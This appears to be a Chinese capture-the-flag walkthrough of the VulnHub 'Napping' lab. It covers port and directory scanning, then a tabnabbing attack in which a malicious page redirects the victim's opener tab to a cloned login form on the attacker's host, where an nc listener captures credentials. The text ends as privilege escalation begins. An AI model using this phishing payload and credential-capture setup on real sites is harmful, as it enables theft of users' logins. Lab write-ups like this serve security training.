準備：
攻擊機：虛擬機kali、本機win10 。
靶機：NAPPING: 1.0.1，地址我這里設置的橋接，，下載地址：https://download.vulnhub.com/napping/napping-1.0.1.ova.torrent，下載后直接VirtualBox打開 ， 如果使用vm打開可能會存在ip問題 。
涉及的知識點：vim提權、Tabnabbing漏洞利用、shell反彈 。
文章插圖
信息收集：
先掃描以下網段內的主機ip，獲取下靶機的ip地址：nmap 192.168.1.0/24 。
文章插圖
使用nmap掃描靶機開放端口對應的具體服務信息，命令：nmap -T4 -sV -p- -A 192.168.1.4 。
文章插圖
使用目錄掃描工具對目錄進行掃描，這里使用的是dirmap ， 命令：python dirmap.py -i http://192.168.1.4/ -lcf ， 發現index.php、config.php等文件，但是config.php顯示是空白 。
文章插圖
靶機開放了80端口 ， 請求下：http://192.168.1.4/，查看下web端，發現是一個登錄界面，進行了簡單的注入測試，但是未成功，那就先注冊一個：admin/admin123進行登錄 。
文章插圖
注冊登錄之后的界面：
文章插圖
這里告訴我們可以發送自定義鏈接并且這個鏈接會被管理員檢查，我們先發送一個https://www.baidu.com/進行提交測試，發現會生成一個指向百度的超鏈接并且在其代碼中發現a標簽中只有target=_blank，而沒有使用rel="noopener/noreferrer"屬性，因此這里可能存在Tabnabbing漏洞（釣魚攻擊） 。
文章插圖
漏洞攻擊：
關于漏洞的利用原理，這里用一個圖說明以下，這里的超鏈接B就是我們輸入要提交的鏈接 ， 界面C是靶機80端口的登錄界面，這樣我們才可以誘導管理員賬戶登錄我們偽造的界面，獲取到管理員的賬戶信息 。
文章插圖
首先制作惡意界面upfine.html ， 代碼信息：
<!DOCTYPE html><html><body><script>if(window.opener) window.opener.parent.location.replace('http://192.168.1.12:6688/get_info.html');if(window.opener!= window) window.opener.parent.location.replace('http://192.168.1.12::6688/get_info.html');</script></body></html>然后退出登錄在登錄界面檢查源代碼信息并進行復制，生成get_info.html ， 代碼信息如下：<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Login</title><link rel="stylesheet" ><style>body{ font: 14px sans-serif; }.wrapper{ width: 360px; padding: 20px; }</style></head><body><div class="wrapper"><h2>Login</h2><p>Please fill in your credentials to login.</p><form action="/index.php" method="post"><div class="form-group"><label>Username</label><input type="text" name="username" class="form-control " value=""><span class="invalid-feedback"></span></div><div class="form-group"><label>Password</label><input type="password" name="password" class="form-control "><span class="invalid-feedback"></span></div><div class="form-group"><input type="submit" class="btn btn-primary" value="https://www.huyubaike.com/biancheng/Login"></div><p>Don't have an account? <a >Sign up now</a>.</p></form></div></body></html>然后將制作的upfine.html頁面和get_info.html頁面放入到kali中的一個目錄下并開啟web服務：python -m http.server 80，同時開啟對6688端口的監聽：nc -lvvp 6688，然后將http://192.168.1.12/upfine.html地址進行提交，監聽窗口成功獲得賬戶名和密碼（%40是@）：daniel/C@ughtm3napping123 。
文章插圖
ssh遠程登錄：
獲得賬戶密碼之后采用xshell進行遠程登錄 。
文章插圖
提權：
ssh登錄查看id時發現其屬于administrators組，因此查一下此用戶組下可以運行的程序，命令：find / -group administrators 2>/dev/null，發現/home/adrian/query.py文件 。
